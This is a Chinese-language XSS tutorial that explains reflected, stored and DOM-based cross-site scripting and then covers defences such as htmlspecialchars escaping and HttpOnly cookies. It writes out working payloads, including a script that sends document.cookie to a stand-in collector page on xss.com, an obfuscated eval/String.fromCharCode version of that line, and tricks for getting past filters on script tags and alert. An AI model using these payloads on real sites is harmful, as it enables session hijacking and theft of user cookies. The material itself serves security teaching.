1.简介
在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制,获取用户的一些信息。
XSS一般分为3类:
1.反射型XSS,相对来说,危害较低,需要用户点击特定的链接才能触发。
2.存储型XSS,该类XSS会把攻击代码保存到数据库,所以也叫持久型XSS,因为它存在的时间是比较长的。
3.DOM 型XSS,这类XSS主要通过修改页面的DOM节点形成XSS,称为DOM Based XSS。
2.反射型XSS
- 输入<script>alert('xss')</script>测试,弹出了XSS,说明输入的数据被浏览器当成指令执行了!
- 在输入框中输入<script>alert(document.cookie)</script>,可以在前端页面弹出用户cookie。
- 通过JS,构造一个请求,来请求一个我们有权限的页面,在构造请求的时候,把用户的cookie当作参数传过去,然后我们就可以在这个页面里,接收传过来的参数,然后再保存起来。所以首先需要写一个接收cookie的页面,它能够接收某个参数,然后保存起来。
构造JS代码来发起一个http请求了。利用Image对象就可以很轻易地完成该任务,新建一个Image对象,然后设置src属性,浏览器在碰到src属性的时候,会自动请求该src指向的url。这个url就写我们刚才写的接收cookie的页面的url,并且传msg参数过去,值为cookie。最终构造的语句为:
<script>new Image().src="http://xss.com/recv_cookies.php?msg="+encodeURI(document.cookie);</script>
3.存储型XSS
没有对“<>'"”等特殊字符进行实体编码。mysql_escape_string函数仅用来转义特殊字符而非对字符进行实体编码。
4.DOM 型XSS
通过修改页面的DOM节点形成的XSS,所以称为DOM based XSS。它和反射型XSS、存储型XSS的差别在于,DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析。
测试按钮被点击后调用了xssDom函数,在这个函数中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作HTML写入到页面中,这就造成了DOM Based XSS。
需要一个单引号来闭合 a标签的href属性。然后一个“>”来闭合a标签的“<”。
w3c规定innerHTML进来的script标签内的脚本代码无法执行。直接插入script无法执行,但是可以利用事件来触发,比如:onerror,onclick等。
构造如下数据:' οnclick=alert(/xss/) //
此时页面代码就变成了:<a href='' οnclick=alert(/xss/) //'>xssDom</a>
或者:'><img src=123 οnerrοr=alert(/xss/) />
页面在尝试加载路径为123 的图片时,无法加载该图片,所以触发onerror函数。
如果想要获取用户cookie,可以在onerror事件中,插入JS代码。
<script>new Image().src="http://xss.com/recv_cookies.php?msg="+encodeURI(document.cookie);</script>
不能直接通过插入,防止cookie中有特殊字字符,如#等导致cookie不全,所以应进行URL编码。
要构造一个没有空格的payload,可以用编码等方式来绕过,比如利用String.fromCharCode函数,该函数会把数字转成该ASCII码表中该数字对应的字符,此时再用eval执行。如果要获取cookie,可以把new Image().src="http://xss.com/recv_cookies.php?msg="+encodeURI(document.cookie) 这个代码转换成他们对应的ascii码(使用插件hackbar),然后通过String.fromCharCode还原成字符串。
利用eval执行该代码,所以,最终的构造语句是: '><img src="123" οnerrοr=eval(String.fromCharCode(110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,46,99,111,109,47,114,101,99,118,95,99,111,111,107,105,101,115,46,112,104,112,63,109,115,103,61,34,43,101,110,99,111,100,101,85,82,73,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41)) />
5.其他
- /<script>/i(忽略大小写):使用<img src=1 οnerrοr=alert(1)>
- 过滤了alert:使用<script>confirm()</script>,<script>prompt()</script>,<img src=1 οnerrοr=conform(1)>,<img src=1 οnerrοr=prompt()>
- html实体化
- 提交form表单
6.防御
1.xss防护策略
xss漏洞产生的主要原因大致是因为生成HTML时没有对<、>、”等进行转义。所以将特殊字符进行转义处理显然就是重要的安全策略。
2.htmlspecialchars函数介绍
在使用PHP开发时,可以使用htmlspecialchars函数进行HTML的转义。
string htmlspecialchars(string $string, int $quote_style, string $charset);
三个参数的意义:
$string 转换对象字符串
$quote_style 转换方法(ENT_NOQUOTES,ENT_COMPAT,ENT_QUOTES)
$charset 字符编码。例如:UTF-8、GBK
3.实例
防御前
防御后
结果
4.Http-only
http-only字段,就是加在cookie身上的一个“护身符”。浏览器存在这种机制,只要cookie中含有Http-only字段,那么任何JavaScript脚本都没有权限读取这条cookie的内容。
在setcookie方法的第七个传入参数中设置了变量TRUE,表示这个cookie具有HTTP-only属性。保存并退出文件。
在昵称输入框中输入:<script>alert(document.cookie);</script>
点击提交,此时再观察弹出框:
此时发现,虽然XSS漏洞点依旧存在,但XSS的恶意利用脚本已无法获取到用户的Cookie,弹出的内容为空。通过这种方法,网站成功保护了用户的Cookie信息免遭攻击者窃取。